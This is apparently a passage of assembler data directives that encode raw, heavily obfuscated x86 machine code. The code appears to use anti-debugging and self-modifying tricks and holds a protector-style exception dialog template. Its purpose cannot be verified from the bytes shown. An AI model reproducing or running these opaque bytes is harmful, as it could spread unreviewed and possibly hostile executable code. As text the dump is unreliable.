		dd 0F3E906h, 0F2800000h, 0F208E988h, 9D89FFFFh,	62908C9h
		dd 9501C08Bh, 6290731h,	309DBD83h, 75000629h, 75BD8309h
		dd 62900h, 53501974h, 0DDB8C08Bh, 89000007h, 29310585h
		dd 0A29D8D06h, 0FF062BAAh, 83585BD3h, 290075BDh, 17740006h
		dd 0DDB85350h, 89000007h, 29310585h, 919D8D06h,	0FF062BA7h
		dd 81585BD3h, 2318EDD2h, 50006A0Dh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0CF73A7B7h, 0B96606AFh
		dd 89531BE4h, 2918A1B5h, 0C08B5906h, 6860Fh, 8D890000h
		dd 629344Dh, 20DE9h, 8D8D2300h,	8D06290Dh, 2BFD2C85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 41BA7177h, 8D8BFBD5h, 629287Dh, 30C98589h, 85890629h
		dd 62BFF24h, 61F217B9h,	1AE95Dh, 8B660000h, 34858DF9h
		dd 66062BFBh, 409606BAh, 0FF248589h, 0BD0B062Bh, 629324Dh
		dd 858D346Ah, 6292689h,	24B5FF50h, 6A062BFFh, 6D95FF00h
		dd 83062932h, 840F07F8h, 168h, 0F6DB8C66h, 850F04C3h, 102h
		dd 1B5985C6h, 68560629h, 9CA8B852h, 2639B5FFh, 858D0629h
		dd 6293B72h, 46AD0FFh, 100068h,	6A646A00h, 89D0FF00h, 2BFF9785h
		dd 5985C606h, 4706291Bh, 18AC9B68h, 39B5FFECh, 8D062926h
		dd 293B7285h, 0FFD0FF06h, 0C6F08BD0h, 291B5985h, 61684F06h
		dd 0FFC62F26h, 293051B5h, 72858D06h, 0FF06293Bh, 939D8DD0h
		dd 53062BFFh, 0FF56286Ah, 75C085D0h, 5985C600h,	4106291Bh
		dd 87649868h, 51B5FFDBh, 8D062930h, 293B7285h, 89D0FF06h
		dd 2BFFB085h, 5985C606h, 4C06291Bh, 0A4E7A468h,	51B5FF80h
		dd 8D062930h, 293B7285h, 8BD0FF06h, 2BFF979Dh, 45B8D06h
		dd 9C9D8D53h, 53062BFFh, 0D0FF006Ah, 0FF979D8Bh, 3C7062Bh
		dd 1, 20C43C7h,	8B000000h, 2931B19Dh, 185C706h,	62934h
		dd 6A000000h, 6A006A00h, 979D8B00h, 53062BFFh, 0B5FF006Ah
		dd 62BFF93h, 0FFB095FFh, 85C6062Bh, 6291B59h, 0F7976845h
		dd 0B5FF92A5h, 6291875h, 3B72858Dh, 0D0FF0629h,	26A006Ah
		dd 8C66D0FFh, 4C3F6DBh,	9D8B3275h, 62BFF97h, 0C43C7h, 6A000000h
		dd 8B006A00h, 2BFF979Dh, 6A5306h, 0FF93B5FFh, 95FF062Bh
		dd 62BFFB0h, 0FF93B5FFh, 95FF062Bh, 6290605h, 95FF006Ah
		dd 62923EDh, 315DBD8Bh,	0F600629h, 68Fh, 11BD8900h, 106291Bh
		dd 290F518Dh, 858D6106h, 62C32F6h, 750DBF53h, 505F1282h
		dd 21B58B60h, 0B1062924h, 0FF64615Fh, 35h, 0C9858900h
		dd 64062908h, 2589h, 13E90000h,	3D000000h, 99770B77h, 7DF31FAh
		dd 0F3969E9h, 152F0BCFh, 0BD83834Fh, 6292631h, 83840F00h
		dd 89000000h, 2935159Dh, 29BD8306h, 106291Ah, 70850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 2D6C70C3h, 66CBDAC7h, 870FD68Bh, 4, 473BBA66h
		dd 7B3004BFh, 0B0BD807Ah, 62C03h, 30850Fh, 0FA8B0000h
		dd 14E9h, 0C9EF2900h, 0A8F99E5Ch, 98FC2594h, 0A66BA53Bh
		dd 70F51053h, 146E99Ah,	57600000h, 246D8531h, 895F0629h
		dd 291FB5BDh, 0DB336106h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 10C35242h, 0CF8B668Fh, 8B66C033h, 3F0F40CEh
		dd 8F640B07h, 5, 4C48300h, 0C6D8D23h, 6A0629h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0EFE31BC3h, 0BF274AA3h, 0F190CC9h, 0FB83D3B7h, 15840FFFh
		dd 0F000000h, 581h, 0DF816600h,	0AFE91ACCh, 0BA000000h
		dd 1D00E042h, 4CE9h, 4C8BF900h,	81C70C24h, 0A4h, 0FFFFFFFFh
		dd 0B88183h, 33040000h,	5C8BC3C0h, 0E8550C24h, 0
		dd 18ED815Dh, 8B062C33h, 0B883h, 0A4858D00h, 89062C33h
		dd 0B883h, 0C0335D00h, 899D09C3h, 8B062928h, 29243195h
		dd 0E858D06h, 0F062C33h, 68Fh, 39BD0300h, 5006292Ch, 0E9DB589h
		dd 0FF640629h, 35h, 0F98D8B00h,	64062927h, 2589h, 0BA660000h
		dd 0AB9A307h, 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh
		dd 40BA8685h, 810034B6h, 345FE8EAh, 0FB81ED00h,	564D5868h
		dd 85C70A75h, 62906D1h,	1, 58F64h, 83000000h, 0BD8904C4h
		dd 6292495h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0DCC35040h, 0EE6D5AEEh,	0D3B70FB9h, 288D8D2Bh
		dd 0C08B0629h, 32958529h, 0BD830629h, 629309Dh,	83097500h
		dd 290075BDh, 19740006h, 0C08B5350h, 43DB8h, 0A1858900h
		dd 8D06290Dh, 2BAB099Dh, 5BD3FF06h, 75BD8358h, 62900h
		dd 53501774h, 43DB8h, 0A1858900h, 8D06290Dh, 2BA7AA9Dh
		dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0B70FCFCAh, 0E99D89D1h, 0B9062909h
		dd 68EEA801h, 47E9C08Bh, 4000001h, 31000000h, 3031392Eh
		dd 7 dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 63202C65h, 61746E6Fh, 74207463h
		dd 73206568h, 7774666Fh, 20657261h, 65766564h, 65706F6Ch
		dd 77207372h, 20687469h, 20656874h, 6C6C6F66h, 6E69776Fh
		dd 6F632067h, 2E736564h, 61685420h, 79206B6Eh, 0A2E756Fh
		dd 200D0A0Dh, 20202020h, 28202020h, 73657270h, 54432073h
		dd 432B4C52h, 206E6F20h, 73696874h, 6E697720h, 20776F64h
		dd 63206F74h, 2079706Fh, 63206F74h, 6270696Ch, 6472616Fh
		dd 20202029h, 0A0D0A20h, 7265560Dh, 6E6F6973h, 203D2020h
		dd 0D0A7325h, 63656843h, 204E496Bh, 25203D20h, 430D0A64h
		dd 6B636568h, 2054554Fh, 6425203Dh, 72500D0Ah, 4E49636Fh
		dd 3D202020h, 0A642520h, 6F72500Dh, 54554F63h, 203D2020h
		dd 0D0A6425h, 74697845h, 20204E49h, 25203D20h, 450D0A64h
		dd 4F746978h, 20205455h, 6425203Dh, 50540D0Ah, 20206E69h
		dd 3D202020h, 0A642520h, 0BD83000Dh, 6290FD1h, 2D840F00h
		dd 8D000001h, 2BA5C185h, 858D5006h, 62BA52Bh, 16850h, 95FF8000h
		dd 62BA5D1h, 3463858Dh,	8D50062Ch, 2C346D85h, 6A5006h
		dd 858D006Ah, 62BA53Fh,	0C1B5FF50h, 0FF062BA5h,	29345995h
		dd 63858D06h, 50062C34h, 3471858Dh, 6A50062Ch, 8D006A00h
		dd 2BA55185h, 0B5FF5006h, 62BA5C1h, 345995FFh, 858D0629h
		dd 62C3463h, 7D858D50h,	50062C34h, 6A006Ah, 0A59E858Dh
		dd 0FF50062Bh, 2BA5C1B5h, 5995FF06h, 8D062934h,	2C346385h
		dd 858D5006h, 62C3485h,	6A006A50h, 0BC858D00h, 50062BA5h
		dd 0A5C1B5FFh, 95FF062Bh, 6293459h, 3463858Dh, 8D50062Ch
		dd 2C348185h, 6A5006h, 858D006Ah, 62BA5A5h, 0C1B5FF50h
		dd 0FF062BA5h, 29345995h, 63858D06h, 50062C34h,	3475858Dh
		dd 6A50062Ch, 8D006A00h, 2BA5AD85h, 0B5FF5006h,	62BA5C1h
		dd 345995FFh, 858D0629h, 62C3463h, 79858D50h, 50062C34h
		dd 6A006Ah, 0A5B4858Dh,	0FF50062Bh, 2BA5C1B5h, 5995FF06h
		dd 0FF062934h, 2BA5C1B5h, 6D95FF06h, 0E9062929h, 0A2h
		dd 0E65BD83h, 0F000629h, 9584h,	29BD8300h, 6291Ah, 11850Fh
		dd 958B0000h, 6291E35h,	1CF8C281h, 0FE90000h, 8D000000h
		dd 2916E995h, 34528B06h, 0C340C281h, 95893BD4h,	629094Dh
		dd 94DBD83h, 0F000629h,	5584h, 4D9D8B00h, 83062909h, 38B4CC3h
		dd 346D8589h, 9D8B062Ch, 629094Dh, 8B50C383h, 71858903h
		dd 8B062C34h, 29094D9Dh, 54C38306h, 8589038Bh, 62C347Dh
		dd 94D9D8Bh, 0C3830629h, 89038B58h, 2C348185h, 4D9D8B06h
		dd 83062909h, 38B5CC3h,	34758589h, 0BD83062Ch, 6290FD1h
		dd 0D850F00h, 83000000h, 290E65BDh, 840F0006h, 68h, 3485B5FFh
		dd 0B5FF062Ch, 62C3479h, 3475B5FFh, 0B5FF062Ch,	62C3481h
		dd 347DB5FFh, 0B5FF062Ch, 62C3471h, 346DB5FFh, 858D062Ch
		dd 62C3467h, 9F858D50h,	50062C34h, 1BBD858Dh, 0FF500629h
		dd 291EED95h, 24C48306h, 858D406Ah, 62C3489h, 0BD858D50h
		dd 5006291Bh, 95FF006Ah, 629326Dh, 95FF016Ah, 62923EDh
		dd 0DE8C18Bh, 9C000000h, 84496616h, 4059A42Eh, 607AC70Dh
		dd 0AE8h, 0B3A43800h, 0B86F49F3h, 0F1C44C0h, 381h, 0F78B6600h
		dd 0FFBE5859h, 8128D10Ah, 5F83C0h, 68F800h, 53000000h
		dd 10E9h, 4875AB00h, 0AAA30FDDh, 0A0637402h, 8D71404Dh
		dd 665F5E1Fh, 0DEFEC281h, 0FC0734FFh, 12E95Bh, 97780000h
		dd 19B5A3D0h, 0B4EA17Eh, 8E74BFBCh, 0C95716BFh,	0B961EB81h
		dd 3CB962DCh, 812FE4A1h, 0DD6ED2EBh, 0EB81F87Dh, 2CD20768h
		dd 89F2B70Fh, 0AE8381Ch, 0E1000000h, 291B37ACh,	2FC08973h
		dd 30BE66B0h, 0EF8159FDh, 7D065DB4h, 108B0Fh, 8E80000h
		dd 94000000h, 0ED61F6A6h, 8BD337F4h, 0C78159D3h, 7D065DB0h
		dd 28B0Fh, 0D38A0000h, 0A158FF81h, 850FFFFFh, 0FFFFFF7Ch
		dd 1C99EA81h, 18EB6FD9h, 9B46F317h, 5 dup(0)
		dd 20BE9h, 5C8B6000h, 0E82424h,	5D000000h, 3917ED81h, 0C261062Ch
		dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 0FFFFFFh, 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 2C394FB5h,	0E68106h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	2C3953B5h
		dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 629094Dh, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 2915C195h, 10F5006h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 629094Dh
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	94D858Bh, 18860629h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FD985C7h, 629h, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 290FD985h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
		dd 29840F04h, 0C7000000h, 2C38F485h, 106h, 10F5000h, 8FFE244Ch
		dd 2C38F885h, 0F0858D06h, 8D062C38h, 2C38F8BDh,	0E9388906h
		dd 23h,	16E9858Dh, 408B0629h, 0F3170538h, 85899B46h, 62C38F0h
		dd 16E9858Dh, 408B0629h, 0F485893Ch, 8D062C38h,	2C390D85h
		dd 0C1858906h, 0E9062915h, 87h,	60D48B52h, 8B08728Bh, 0B2B80C7Ah
		dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh
		dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh
		dd 7, 6280630h,	3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah
		dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah,	0AC000000h
		dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh
		dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 2C3B8085h,	81858906h
		dd 8D062929h, 2C3BA885h, 1D858906h, 8D062920h, 2C3BD085h
		dd 0D9858906h, 6006290Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0FAC35343h, 2E0BF00Ah, 0C08B92C1h, 83D18B66h
		dd 29309DBDh, 9750006h,	75BD83h, 74000629h, 8B535019h
		dd 40EB8C0h, 85890000h,	6293105h, 0AAA29D8Dh, 0D3FF062Bh
		dd 0BD83585Bh, 6290075h, 50177400h, 40EB853h, 85890000h
		dd 6293105h, 0A7919D8Dh, 0D3FF062Bh, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C73D6EC3h
		dd 0AA80EF2Ah, 665B5961h, 8BFF8BBAh, 5880FC0h, 0BE000000h
		dd 5FF3D54h, 2631BD83h,	0F000629h, 1984h, 0FE900h, 0E0B00000h
		dd 905FC2F8h, 85FD1350h, 0B8270D20h, 24AE9C8h, 0DF8C0000h
		dd 0C7F766F9h, 850F0004h, 23Ch,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0E4C35242h,	14E89398h, 26000000h
		dd 0F568E1A9h, 0F2AC26B8h, 58317D19h, 0A096F0BFh, 0BA2C8806h
		dd 2A5B90E0h, 51BD8359h, 62904h, 42850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0A6418DC3h, 1CEE9D9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 38AC54C3h, 6AFF2Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0D8A70C3h, 2C517DF9h, 0CBBF0FB4h, 3F1B9D8Dh,	810F062Ch
		dd 6, 5BF7C181h, 66506622h, 1C89CF8Bh, 52006A24h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 880FE0h, 64000000h, 35FFh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 90E7BFC3h
		dd 68BDF708h, 66E684C1h, 0F7142B9h, 58Dh, 8B665000h, 896459F7h
		dd 25h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh,	24448104h
		dd 1704h, 0C3574700h, 0C72675C1h, 0F8C48BF8h, 0EB01CDh
		dd 14E8h, 9E521D00h, 0BE5A9917h, 2012AF5Bh, 0F4904350h
		dd 46B6DA88h, 7E95Dh, 0B63A0000h, 19A2DFE6h, 0B70F5E8Dh
		dd 0D28166F2h, 8F64438Eh, 5, 0F2BF0F00h, 0B04C483h, 0A1840FC0h
		dd 0F000000h, 5661F0BFh, 59CFBF0Fh, 6FFBBD8Dh, 0F600629h
		dd 810FD2BFh, 2, 0B861C68Ah, 1,	9552B966h, 4C6B4CB9h, 6AE7FF50h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E9BAC357h, 6, 9C3CBBCAh,	0F28BA5AAh, 14E8h
		dd 7635C000h, 50FD9420h, 196DC746h, 0CD8B0E46h,	752AB5BAh
		dd 94B960B1h, 600B421Dh, 575A6161h, 10245C8Bh, 0B8838Bh
		dd 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h,	0B8h, 0C0335F02h
		dd 0CFB70FC3h, 0D382BE66h, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0FD57BAB7h
		dd 8B03C121h, 5AF856C0h, 309DBD83h, 75000629h, 75BD8309h
		dd 62900h, 53501974h, 0EB8C08Bh, 89000004h, 290DA185h
		dd 99D8D06h, 0FF062BABh, 83585BD3h, 290075BDh, 17740006h
		dd 0EB85350h, 89000004h, 290DA185h, 0AA9D8D06h,	0FF062BA7h
		dd 0F585BD3h, 287h, 6AF38B00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0A3DDC357h,	0AD353130h
		dd 8B7A9168h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0D38B668Ah, 8EBC28Bh, 2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 1A29858Bh
		dd 858D0629h, 62C703Eh,	888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah
		dd 62C400Ch, 451BD83h, 0F000629h, 0F84h, 6A6000h, 59195FFh
		dd 0E9610629h, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h
		dd 895A04CDh, 2C400885h, 0CB58B06h, 0C1062C40h,	896610CEh
		dd 0B58B0272h, 62C400Ch, 0FC728966h, 8858B61h, 0C3062C40h
		dd 0AD9958Dh, 95890629h, 629094Dh, 18299589h, 85FF0629h
		dd 6291829h, 1B5985C6h,	68530629h, 0FCB148D8h, 2639B5FFh
		dd 858D0629h, 6293B72h,	8589D0FFh, 6290591h, 3927858Dh
		dd 8589062Ch, 6290F5Dh,	51E9h, 748B6000h, 76032424h, 247C8B3Ch
		dd 81D68B28h, 0F8C2h, 4E8B6600h, 0C9B70F06h, 0F00F983h
		dd 1684h, 0C7A3B00h, 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh
		dd 89F82BC1h, 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h
		dd 0FFE9E9FFh, 3EBAFFFFh, 0EB0009FDh, 604E900h,	0F8E90000h
		dd 68000005h, 62C4239h,	0FD3C57E9h, 433B68FFh, 4DE9062Ch
		dd 68FFFD3Ch, 62C43C0h,	0FD3C43E9h, 449868FFh, 39E9062Ch
		dd 68FFFD3Ch, 62C45BDh,	0FD3C2FE9h, 41B2A9FFh, 1EEF6B8Dh
		dd 0E8633ADCh, 0A6558C6Ah, 71FC52B4h, 0E835ADFDh, 0B157870Ah
		dd 7E985AD7h, 0C224169Dh, 0D773E36Ah, 0AE37B8FEh, 83A27A40h
		dd 0EF196678h, 260F806Ch, 0B2748752h, 0EED65951h, 50C3806Ch
		dd 0EEB30404h, 0A7E9806Ch, 0BD13FB88h, 7276CC30h, 249090E4h
		dd 7C806C03h, 0FD4DBCA4h, 0F14E4296h, 0A806C02h, 806C02ACh
		dd 30BB1CE4h, 0FB3F1D76h, 6C027Ch, 0E46FCEAAh, 0D8633690h
		dd 0EAF787F3h, 0B7D8FA44h, 0BA318A6Eh, 0A788D1B8h, 951C0073h
		dd 70A6E906h, 6951BFFh,	0FD53B9EAh, 0F01BB41Ah,	0BA90ADE4h
		dd 0B29169E4h, 0E4A6006Bh, 71A58E35h, 6E6BA9h, 77FC5F39h
		dd 0DE0450B3h, 0FB4DB0B5h, 0A0662D60h, 4401Fh, 9566FD00h
		dd 6A9B47A1h, 24AF0EE8h, 0FA09D036h, 0B5389E78h, 34F9D181h
		dd 0FD1BDB56h, 42A4961Bh, 16F062E9h, 9B3F3FB6h,	0AC6BCCCAh
		dd 0BF567A40h, 0E960C434h, 0EE9D1D11h, 0D709806Ch, 1F96764Fh
		dd 0D65D39DFh, 6CEF4FA0h, 8664BA80h, 61D9200Bh,	0E046CFAFh
		dd 5869BD9Bh, 0C72875FCh, 6CEE60D3h, 0F2C64980h, 0E7C32D7Ah
		dd 0B9E77ADCh, 50D4C64Dh, 0CBAED225h, 0B6DF4C46h, 877ECF2Dh
		dd 0F7000003h, 826460C4h, 45CEA90Fh, 0A688C7Ah,	90806CEFh
		dd 3591B274h, 4B1ABEBCh, 6CEEEC4Fh, 0FC4AD580h,	0E1CA411Ah
		dd 4C3ACB17h, 50BB328Ah, 4626C004h, 0F2A17BCFh,	130768B5h
		dd 806CEEA0h, 0A81E9371h, 5EBAE57Bh, 159C789Eh,	9619F355h
		dd 6CEF0F60h, 797A2A80h, 75CFE1ADh, 0E96DB4DFh,	6C9E4EADh
		dd 0FC71CB80h, 0ED66C197h, 1EE2361Dh, 0D56DDBCh, 4598B909h
		dd 0F0751E7Ah, 0B389CB83h, 3E557AB0h, 0FF000003h, 45A39360h
		dd 8EE6C9Dh, 0D23426ADh, 0A046F407h, 0DF8F4FC2h, 0D5583E03h
		dd 0A8258761h, 60EB4CAAh, 39B014F2h, 0C2309135h, 7A40AB71h
		dd 0C43E4558h, 0BF11E960h, 3E9056DFh, 741DD15Ch, 0E347CAACh
		dd 0F873D4A0h, 0EF5F9C9Ch, 1B98806Ch, 86806CE0h, 0DDD1A924h
		dd 806CFF5Eh, 870AECB4h, 0FFF778BEh, 0B1E2806Ch, 1E18815Bh
		dd 80ED34BFh, 45F20892h, 12F0407Ah, 0F0A3B99Fh,	8961E673h
		dd 0E6C93DB3h, 2B9h, 2E2CDF04h,	6DE110C8h, 0B5B9328Bh
		dd 0C1758653h, 0ECC4127h, 0DFBD825Eh, 0A406E052h, 68C32529h
		dd 319573E3h, 0B71EBAB8h, 40ABF043h, 0B1C4D97Ah, 8475ED4Bh
		dd 358BE122h, 0A86ED851h, 0E110C8CCh, 7DDB2086h, 0B53C98A9h
		dd 0E80ED681h, 2B247ADCh, 0E3000002h, 0FF3BB215h, 806CE27Ch
		dd 17D33A65h, 0E277F83Eh, 3162806Ch, 22A902D6h,	26290F44h
		dd 6CEF1966h, 0AC278080h, 64EF48AEh, 56DBB91Fh,	9565B390h
		dd 8900E4BCh, 2086D231h, 117ACC47h, 0FB5DF32Bh,	0E94FAD5Eh
		dd 25AC080Eh, 6AA8F1DAh, 806CEF09h, 8D49AFF0h, 0DCE71ADAh
		dd 56D07Ah, 0C01D0000h,	8D89D259h, 7A45E47Dh, 8F4A6B95h
		dd 8F7BF055h, 0BC635844h, 0EAB5A389h, 891DD659h, 8629DDB3h
		dd 1E1h, 0C674875Ch, 5C93820h, 4D810AE3h, 995DAEABh, 2614997Fh
		dd 37955A76h, 0FC5EB8BAh, 401BFD71h, 9ED0BCBh, 9FF65280h
		dd 40AB189Bh, 59EC817Ah, 72C62F86h, 92E51598h, 7F806CEEh
		dd 0A9EDC014h, 806CEF4Eh, 9910F44Ch, 0B616E221h, 3C184B3Fh
		dd 0CB8D7D26h, 9D7BFB70h, 0C5AD9539h, 0D93E53ECh, 0C15208FEh
		dd 0EDB7025Fh, 0B79C8009h, 0F87A45EBh, 141E6F91h, 2356DB89h
		dd 1F9477D5h, 0D45D39DFh, 57DABC12h, 2FA401E7h,	87EE085Bh
		dd 6C352093h, 20868980h, 3F048F6Eh, 2775FE59h, 0EB50C527h
		dd 57DCB91Fh, 3554A3E7h, 50C9806Ch, 2108FB66h, 3A8DEC4h
		dd 60F7A45h, 95679F10h,	4D940A86h, 588157BEh, 0ADF4DFABh
		dd 9968F040h, 56A7B355h, 2A68B190h, 869567C9h, 0AB096F30h
		dd 29EF5BD0h, 2B12E74Fh, 2A24D885h, 0B81EFAC3h,	0BA1E7535h
		dd 489B6F9Eh, 6CB59C6Ch, 9546C536h, 73EE2C86h, 82ED2680h
		dd 0FE75D0B6h, 0F1C75208h, 0FB289E13h, 4F4F4B90h, 70806E1Ah
		dd 0FC7F1E2Fh, 6EA4AD60h, 0BC59h, 11E27900h, 0EE1F3BDDh
		dd 0B8338A6Ch, 76855CBAh, 0C14C22C4h, 0B8855D0Dh, 1E757DAh
		dd 0CE282AA7h, 9274E66Dh, 2783B33Ah, 0A9E7484Eh, 33D27A40h
		dd 96624B88h, 0FE71B934h, 0EB806CEEh, 0D42753B8h, 3D806CEEh
		dd 0C4A00652h, 866D0168h, 0CDAB0EB5h, 2F9BE26Fh, 0A2048D69h
		dd 1A2BF359h, 5C0BCB42h, 7ADDD694h, 19AEh, 18668700h, 87806CEFh
		dd 0C5ACAE27h, 0EEEE5BDBh, 5DBB5C35h, 210Eh, 1966E700h
		dd 0F806CEFh, 0E347CCA9h, 0DC5F5BA0h, 0C5806CEEh, 3C987E5Ah
		dd 2E8868B5h, 0A88CC7A3h, 8C3427ACh, 9E17F741h,	0F15BAh
		dd 98780000h, 2B6FB43Fh, 806CEEC8h, 4F0A6E31h, 0EC1FC424h
		dd 69E0441Ah, 0D75C3F91h, 56DBBD13h, 0D5583E90h, 50DDB315h
		dd 0DA293096h, 58D3AA6Ch, 0C13028EEh, 89533A79h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 241C895Ch, 81E28952h, 4C2h
		dd 4EA8300h, 5C241487h,	68243489h, 396h, 68240C89h, 3CA5h
		dd 68242C89h, 14DE0DE9h, 0C5814D5Dh, 686F36B9h,	0FCCCC581h
		dd 0EE8988DEh, 1869685Dh, 24890000h, 24048324h,	53565904h
		dd 0BC3010BBh, 245C295Eh, 418F5B04h, 8418108h, 5EBC3010h
		dd 52240C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	34FF5C24h
		dd 0C4835E24h, 366AE904h, 0B81FFFFDh, 62C469Eh,	0D18BC503h
		dd 20EBh, 7 dup(0)
		dd 0A7E90000h, 0E9000005h, 59Bh, 2C491868h, 362AE906h
		dd 0B768FFFDh, 0E9062C49h, 0FFFD3620h, 2C4BB768h, 3616E906h
		dd 0A68FFFDh, 0E9062C4Ch, 0FFFD360Ch, 0FE7C8F54h, 3D31C018h
		dd 458902DBh, 9145B6A3h, 0DE1C9177h, 2F8D528Eh,	0F456B0A2h
		dd 0B813F579h, 1E50333h, 87EE4A88h, 40A82093h, 41F4897Ah
		dd 8308ED4Bh, 0FD76D7B5h, 0AAF3C40Dh, 6CEF0B6Ch, 6DADF680h
		dd 806CEF0Ah, 6DC8ACF7h, 0F5C300E6h, 6CEF46B5h,	1C028600h
		dd 0DCEA5A9Ah, 4D90FAh,	71BF0000h, 9C7EAF6Bh, 43441311h
		dd 664D86D2h, 806CEF18h, 43CEA808h, 0EE48ACE7h,	23A80D2Bh
		dd 0A7080E47h, 12806CEEh, 0F6DF2601h, 0FA73CBADh, 6CEF3BBCh
		dd 0BBFFA680h, 806CEF38h, 4197FEA1h, 2A23366Ch,	9D867A49h
		dd 204E59h, 66270000h, 806CEF19h, 45AE1584h, 0EEB5067Ch
		dd 0FD64806Ch, 6B41D20Eh, 29F91C1Ah, 0B7D87A49h, 61C40C87h
		dd 50181CEAh, 0ADB19C71h, 0DBB2938Bh, 9500E250h, 6AC9CD16h
		dd 4F006CDEh, 8264ED49h, 0CE806641h, 9577E76Eh,	2056BF04h
		dd 0FA45E4BAh, 2769B2DDh, 6D54D2E9h, 617FD2EEh,	438431C0h
		dd 65AC1C78h, 4FB54693h, 2C5F10F4h, 2065234h, 696C8B5h
		dd 358B9339h, 0C945B6ECh, 0E3AC0696h, 95E8695h,	8E94F4B3h
		dd 51000000h, 0F95F59C0h, 92F8AF51h, 0B6913A03h, 0DAB2066Fh
		dd 58BC9753h, 11BD0175h, 792A7A49h, 69E0441Ch, 0F2EF1C0Ch
		dd 0B15E8B38h, 0EFCD2E54h, 6B348698h, 0D0A0C90Dh, 0BD13F908h
		dd 0A606E430h, 9822A70Ah, 331A36F8h, 86449C32h,	4E1195B3h
		dd 338h, 46F407DCh, 8549B8A0h, 0CD018A63h, 19DD2E2Bh, 0A69419FFh
		dd 0B715DAF6h, 7CDE383Ah, 0C09B7DF1h, 896D8B4Bh, 1F76D200h
		dd 40A5981Bh, 0D96C017Ah, 30335h, 1EF85800h, 98FCD793h
		dd 0E861C457h, 6CEF49AAh, 1BCAB080h, 0F4354C5Ch, 200D54BFh
		dd 1F7DF450h, 83E857ABh, 2413806Ch, 5F806C83h, 806C83E1h
